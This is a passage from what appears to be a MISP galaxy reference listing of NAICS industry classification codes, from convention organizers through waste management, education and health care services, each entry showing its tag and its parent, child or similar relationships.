Convention and Trade Show Organizers

The tag is: *misp-galaxy:naics="56192"*

View relationships graph

56192 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561920" with estimative-language:likelihood-probability="likely"

561920

Convention and Trade Show Organizers

The tag is: *misp-galaxy:naics="561920"*

View relationships graph

561920 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56192" with estimative-language:likelihood-probability="likely"

56199

All Other Support Services

The tag is: *misp-galaxy:naics="56199"*

View relationships graph

56199 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="561990" with estimative-language:likelihood-probability="likely"

561990

All Other Support Services

The tag is: *misp-galaxy:naics="561990"*

View relationships graph

561990 has relationships with:

- child-of: misp-galaxy:naics="5619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56199" with estimative-language:likelihood-probability="likely"

562

Waste Management and Remediation Services

The tag is: *misp-galaxy:naics="562"*

View relationships graph

562 has relationships with:

- child-of: misp-galaxy:naics="56" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

5621

Waste Collection

The tag is: *misp-galaxy:naics="5621"*

View relationships graph

5621 has relationships with:

- child-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562119" with estimative-language:likelihood-probability="likely"

56211

Waste Collection

The tag is: *misp-galaxy:naics="56211"*

View relationships graph

56211 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

562111

Solid Waste Collection

The tag is: *misp-galaxy:naics="562111"*

View relationships graph

562111 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

562112

Hazardous Waste Collection

The tag is: *misp-galaxy:naics="562112"*

View relationships graph

562112 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

562119

Other Waste Collection

The tag is: *misp-galaxy:naics="562119"*

View relationships graph

562119 has relationships with:

- child-of: misp-galaxy:naics="5621" with estimative-language:likelihood-probability="likely"

5622

Waste Treatment and Disposal

The tag is: *misp-galaxy:naics="5622"*

View relationships graph

5622 has relationships with:

- child-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562219" with estimative-language:likelihood-probability="likely"

56221

Waste Treatment and Disposal

The tag is: *misp-galaxy:naics="56221"*

View relationships graph

56221 has relationships with:

- child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562211

Hazardous Waste Treatment and Disposal

The tag is: *misp-galaxy:naics="562211"*

View relationships graph

562211 has relationships with:

- child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562212

Solid Waste Landfill

The tag is: *misp-galaxy:naics="562212"*

View relationships graph

562212 has relationships with:

- child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562213

Solid Waste Combustors and Incinerators

The tag is: *misp-galaxy:naics="562213"*

View relationships graph

562213 has relationships with:

- child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

562219

Other Nonhazardous Waste Treatment and Disposal

The tag is: *misp-galaxy:naics="562219"*

View relationships graph

562219 has relationships with:

- child-of: misp-galaxy:naics="5622" with estimative-language:likelihood-probability="likely"

5629

Remediation and Other Waste Management Services

The tag is: *misp-galaxy:naics="5629"*

View relationships graph

5629 has relationships with:

- child-of: misp-galaxy:naics="562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="56299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="562998" with estimative-language:likelihood-probability="likely"

56291

Remediation Services

The tag is: *misp-galaxy:naics="56291"*

View relationships graph

56291 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="562910" with estimative-language:likelihood-probability="likely"

562910

Remediation Services

The tag is: *misp-galaxy:naics="562910"*

View relationships graph

562910 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56291" with estimative-language:likelihood-probability="likely"

56292

Materials Recovery Facilities

The tag is: *misp-galaxy:naics="56292"*

View relationships graph

56292 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="562920" with estimative-language:likelihood-probability="likely"

562920

Materials Recovery Facilities

The tag is: *misp-galaxy:naics="562920"*

View relationships graph

562920 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="56292" with estimative-language:likelihood-probability="likely"

56299

All Other Waste Management Services

The tag is: *misp-galaxy:naics="56299"*

View relationships graph

56299 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

562991

Septic Tank and Related Services

The tag is: *misp-galaxy:naics="562991"*

View relationships graph

562991 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

562998

All Other Miscellaneous Waste Management Services

The tag is: *misp-galaxy:naics="562998"*

View relationships graph

562998 has relationships with:

- child-of: misp-galaxy:naics="5629" with estimative-language:likelihood-probability="likely"

61

Educational Services

The tag is: *misp-galaxy:naics="61"*

View relationships graph

61 has relationships with:

- parent-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"

611

Educational Services

The tag is: *misp-galaxy:naics="611"*

View relationships graph

611 has relationships with:

- child-of: misp-galaxy:naics="61" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6111" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6117" with estimative-language:likelihood-probability="likely"

6111

Elementary and Secondary Schools

The tag is: *misp-galaxy:naics="6111"*

View relationships graph

6111 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611110" with estimative-language:likelihood-probability="likely"

61111

Elementary and Secondary Schools

The tag is: *misp-galaxy:naics="61111"*

View relationships graph

61111 has relationships with:

- child-of: misp-galaxy:naics="6111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611110" with estimative-language:likelihood-probability="likely"

611110

Elementary and Secondary Schools

The tag is: *misp-galaxy:naics="611110"*

View relationships graph

611110 has relationships with:

- child-of: misp-galaxy:naics="6111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61111" with estimative-language:likelihood-probability="likely"

6112

Junior Colleges

The tag is: *misp-galaxy:naics="6112"*

View relationships graph

6112 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611210" with estimative-language:likelihood-probability="likely"

61121

Junior Colleges

The tag is: *misp-galaxy:naics="61121"*

View relationships graph

61121 has relationships with:

- child-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611210" with estimative-language:likelihood-probability="likely"

611210

Junior Colleges

The tag is: *misp-galaxy:naics="611210"*

View relationships graph

611210 has relationships with:

- child-of: misp-galaxy:naics="6112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61121" with estimative-language:likelihood-probability="likely"

6113

Colleges, Universities, and Professional Schools

The tag is: *misp-galaxy:naics="6113"*

View relationships graph

6113 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611310" with estimative-language:likelihood-probability="likely"

61131

Colleges, Universities, and Professional Schools

The tag is: *misp-galaxy:naics="61131"*

View relationships graph

61131 has relationships with:

- child-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611310" with estimative-language:likelihood-probability="likely"

611310

Colleges, Universities, and Professional Schools

The tag is: *misp-galaxy:naics="611310"*

View relationships graph

611310 has relationships with:

- child-of: misp-galaxy:naics="6113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61131" with estimative-language:likelihood-probability="likely"

6114

Business Schools and Computer and Management Training

The tag is: *misp-galaxy:naics="6114"*

View relationships graph

6114 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611420" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="61143" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611430" with estimative-language:likelihood-probability="likely"

61141

Business and Secretarial Schools

The tag is: *misp-galaxy:naics="61141"*

View relationships graph

61141 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611410" with estimative-language:likelihood-probability="likely"

611410

Business and Secretarial Schools

The tag is: *misp-galaxy:naics="611410"*

View relationships graph

611410 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61141" with estimative-language:likelihood-probability="likely"

61142

Computer Training

The tag is: *misp-galaxy:naics="61142"*

View relationships graph

61142 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611420" with estimative-language:likelihood-probability="likely"

611420

Computer Training

The tag is: *misp-galaxy:naics="611420"*

View relationships graph

611420 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61142" with estimative-language:likelihood-probability="likely"

61143

Professional and Management Development Training

The tag is: *misp-galaxy:naics="61143"*

View relationships graph

61143 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611430" with estimative-language:likelihood-probability="likely"

611430

Professional and Management Development Training

The tag is: *misp-galaxy:naics="611430"*

View relationships graph

611430 has relationships with:

- child-of: misp-galaxy:naics="6114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61143" with estimative-language:likelihood-probability="likely"

6115

Technical and Trade Schools

The tag is: *misp-galaxy:naics="6115"*

View relationships graph

6115 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611512" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="611513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611519" with estimative-language:likelihood-probability="likely"

61151

Technical and Trade Schools

The tag is: *misp-galaxy:naics="61151"*

View relationships graph

61151 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611511

Cosmetology and Barber Schools

The tag is: *misp-galaxy:naics="611511"*

View relationships graph

611511 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611512

Flight Training

The tag is: *misp-galaxy:naics="611512"*

View relationships graph

611512 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611513

Apprenticeship Training

The tag is: *misp-galaxy:naics="611513"*

View relationships graph

611513 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

611519

Other Technical and Trade Schools

The tag is: *misp-galaxy:naics="611519"*

View relationships graph

611519 has relationships with:

- child-of: misp-galaxy:naics="6115" with estimative-language:likelihood-probability="likely"

6116

Other Schools and Instruction

The tag is: *misp-galaxy:naics="6116"*

View relationships graph

6116 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611620" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61163" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611630" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61169" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611692" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611699" with estimative-language:likelihood-probability="likely"

61161

Fine Arts Schools

The tag is: *misp-galaxy:naics="61161"*

View relationships graph

61161 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="611610" with estimative-language:likelihood-probability="likely"

611610

Fine Arts Schools

The tag is: *misp-galaxy:naics="611610"*

View relationships graph

611610 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61161" with estimative-language:likelihood-probability="likely"

61162

Sports and Recreation Instruction

The tag is: *misp-galaxy:naics="61162"*

View relationships graph

61162 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611620" with estimative-language:likelihood-probability="likely"

611620

Sports and Recreation Instruction

The tag is: *misp-galaxy:naics="611620"*

View relationships graph

611620 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61162" with estimative-language:likelihood-probability="likely"

61163

Language Schools

The tag is: *misp-galaxy:naics="61163"*

View relationships graph

61163 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611630" with estimative-language:likelihood-probability="likely"

611630

Language Schools

The tag is: *misp-galaxy:naics="611630"*

View relationships graph

611630 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61163" with estimative-language:likelihood-probability="likely"

61169

All Other Schools and Instruction

The tag is: *misp-galaxy:naics="61169"*

View relationships graph

61169 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611691

Exam Preparation and Tutoring

The tag is: *misp-galaxy:naics="611691"*

View relationships graph

611691 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611692

Automobile Driving Schools

The tag is: *misp-galaxy:naics="611692"*

View relationships graph

611692 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

611699

All Other Miscellaneous Schools and Instruction

The tag is: *misp-galaxy:naics="611699"*

View relationships graph

611699 has relationships with:

- child-of: misp-galaxy:naics="6116" with estimative-language:likelihood-probability="likely"

6117

Educational Support Services

The tag is: *misp-galaxy:naics="6117"*

View relationships graph

6117 has relationships with:

- child-of: misp-galaxy:naics="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="61171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="611710" with estimative-language:likelihood-probability="likely"

61171

Educational Support Services

The tag is: *misp-galaxy:naics="61171"*

View relationships graph

61171 has relationships with:

- child-of: misp-galaxy:naics="6117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="611710" with estimative-language:likelihood-probability="likely"

611710

Educational Support Services

The tag is: *misp-galaxy:naics="611710"*

View relationships graph

611710 has relationships with:

- child-of: misp-galaxy:naics="6117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="61171" with estimative-language:likelihood-probability="likely"

62

Health Care and Social Assistance

The tag is: *misp-galaxy:naics="62"*

View relationships graph

62 has relationships with:

- parent-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"

621

Ambulatory Health Care Services

The tag is: *misp-galaxy:naics="621"*

View relationships graph

621 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6215" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6216" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"

6211

Offices of Physicians

The tag is: *misp-galaxy:naics="6211"*

View relationships graph

6211 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621112" with estimative-language:likelihood-probability="likely"

62111

Offices of Physicians

The tag is: *misp-galaxy:naics="62111"*

View relationships graph

62111 has relationships with:

- child-of: misp-galaxy:naics="6211" with estimative-language:likelihood-probability="likely"

621111

Offices of Physicians (except Mental Health Specialists)

The tag is: *misp-galaxy:naics="621111"*

View relationships graph

621111 has relationships with:

- child-of: misp-galaxy:naics="6211" with estimative-language:likelihood-probability="likely"

621112

Offices of Physicians, Mental Health Specialists

The tag is: *misp-galaxy:naics="621112"*

View relationships graph

621112 has relationships with:

- child-of: misp-galaxy:naics="6211" with estimative-language:likelihood-probability="likely"

6212

Offices of Dentists

The tag is: *misp-galaxy:naics="6212"*

View relationships graph

6212 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621210" with estimative-language:likelihood-probability="likely"

62121

Offices of Dentists

The tag is: *misp-galaxy:naics="62121"*

View relationships graph

62121 has relationships with:

- child-of: misp-galaxy:naics="6212" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621210" with estimative-language:likelihood-probability="likely"

621210

Offices of Dentists

The tag is: *misp-galaxy:naics="621210"*

View relationships graph

621210 has relationships with:

- child-of: misp-galaxy:naics="6212" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62121" with estimative-language:likelihood-probability="likely"

6213

Offices of Other Health Practitioners

The tag is: *misp-galaxy:naics="6213"*

View relationships graph

6213 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62139" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621399" with estimative-language:likelihood-probability="likely"

62131

Offices of Chiropractors

The tag is: *misp-galaxy:naics="62131"*

View relationships graph

62131 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621310" with estimative-language:likelihood-probability="likely"

621310

Offices of Chiropractors

The tag is: *misp-galaxy:naics="621310"*

View relationships graph

621310 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62131" with estimative-language:likelihood-probability="likely"

62132

Offices of Optometrists

The tag is: *misp-galaxy:naics="62132"*

View relationships graph

62132 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621320" with estimative-language:likelihood-probability="likely"

621320

Offices of Optometrists

The tag is: *misp-galaxy:naics="621320"*

View relationships graph

621320 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62132" with estimative-language:likelihood-probability="likely"

62133

Offices of Mental Health Practitioners (except Physicians)

The tag is: *misp-galaxy:naics="62133"*

View relationships graph

62133 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621330" with estimative-language:likelihood-probability="likely"

621330

Offices of Mental Health Practitioners (except Physicians)

The tag is: *misp-galaxy:naics="621330"*

View relationships graph

621330 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62133" with estimative-language:likelihood-probability="likely"

62134

Offices of Physical, Occupational and Speech Therapists, and Audiologists

The tag is: *misp-galaxy:naics="62134"*

View relationships graph

62134 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621340" with estimative-language:likelihood-probability="likely"

621340

Offices of Physical, Occupational and Speech Therapists, and Audiologists

The tag is: *misp-galaxy:naics="621340"*

View relationships graph

621340 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62134" with estimative-language:likelihood-probability="likely"

62139

Offices of All Other Health Practitioners

The tag is: *misp-galaxy:naics="62139"*

View relationships graph

62139 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"

621391

Offices of Podiatrists

The tag is: *misp-galaxy:naics="621391"*

View relationships graph

621391 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"

621399

Offices of All Other Miscellaneous Health Practitioners

The tag is: *misp-galaxy:naics="621399"*

View relationships graph

621399 has relationships with:

- child-of: misp-galaxy:naics="6213" with estimative-language:likelihood-probability="likely"

6214

Outpatient Care Centers

The tag is: *misp-galaxy:naics="6214"*

View relationships graph

6214 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621493" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621498" with estimative-language:likelihood-probability="likely"

62141

Family Planning Centers

The tag is: *misp-galaxy:naics="62141"*

View relationships graph

62141 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621410" with estimative-language:likelihood-probability="likely"

621410

Family Planning Centers

The tag is: *misp-galaxy:naics="621410"*

View relationships graph

621410 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62141" with estimative-language:likelihood-probability="likely"

62142

Outpatient Mental Health and Substance Abuse Centers

The tag is: *misp-galaxy:naics="62142"*

View relationships graph

62142 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621420" with estimative-language:likelihood-probability="likely"

621420

Outpatient Mental Health and Substance Abuse Centers

The tag is: *misp-galaxy:naics="621420"*

View relationships graph

621420 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62142" with estimative-language:likelihood-probability="likely"

62149

Other Outpatient Care Centers

The tag is: *misp-galaxy:naics="62149"*

View relationships graph

62149 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621491

HMO Medical Centers

The tag is: *misp-galaxy:naics="621491"*

View relationships graph

621491 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621492

Kidney Dialysis Centers

The tag is: *misp-galaxy:naics="621492"*

View relationships graph

621492 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621493

Freestanding Ambulatory Surgical and Emergency Centers

The tag is: *misp-galaxy:naics="621493"*

View relationships graph

621493 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"

621498

All Other Outpatient Care Centers

The tag is: *misp-galaxy:naics="621498"*

View relationships graph

621498 has relationships with:

- child-of: misp-galaxy:naics="6214" with estimative-language:likelihood-probability="likely"

6215

Medical and Diagnostic Laboratories

The tag is: *misp-galaxy:naics="6215"*

View relationships graph

6215 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621512" with estimative-language:likelihood-probability="likely"

62151

Medical and Diagnostic Laboratories

The tag is: *misp-galaxy:naics="62151"*

View relationships graph

62151 has relationships with:

- child-of: misp-galaxy:naics="6215" with estimative-language:likelihood-probability="likely"

621511

Medical Laboratories

The tag is: *misp-galaxy:naics="621511"*

View relationships graph

621511 has relationships with:

- child-of: misp-galaxy:naics="6215" with estimative-language:likelihood-probability="likely"

621512

Diagnostic Imaging Centers

The tag is: *misp-galaxy:naics="621512"*

View relationships graph

621512 has relationships with:

- child-of: misp-galaxy:naics="6215" with estimative-language:likelihood-probability="likely"

6216

Home Health Care Services

The tag is: *misp-galaxy:naics="6216"*

View relationships graph

6216 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621610" with estimative-language:likelihood-probability="likely"

62161

Home Health Care Services

The tag is: *misp-galaxy:naics="62161"*

View relationships graph

62161 has relationships with:

- child-of: misp-galaxy:naics="6216" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621610" with estimative-language:likelihood-probability="likely"

621610

Home Health Care Services

The tag is: *misp-galaxy:naics="621610"*

View relationships graph

621610 has relationships with:

- child-of: misp-galaxy:naics="6216" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62161" with estimative-language:likelihood-probability="likely"

6219

Other Ambulatory Health Care Services

The tag is: *misp-galaxy:naics="6219"*

View relationships graph

6219 has relationships with:

- child-of: misp-galaxy:naics="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="621999" with estimative-language:likelihood-probability="likely"

62191

Ambulance Services

The tag is: *misp-galaxy:naics="62191"*

View relationships graph

62191 has relationships with:

- child-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="621910" with estimative-language:likelihood-probability="likely"

621910

Ambulance Services

The tag is: *misp-galaxy:naics="621910"*

View relationships graph

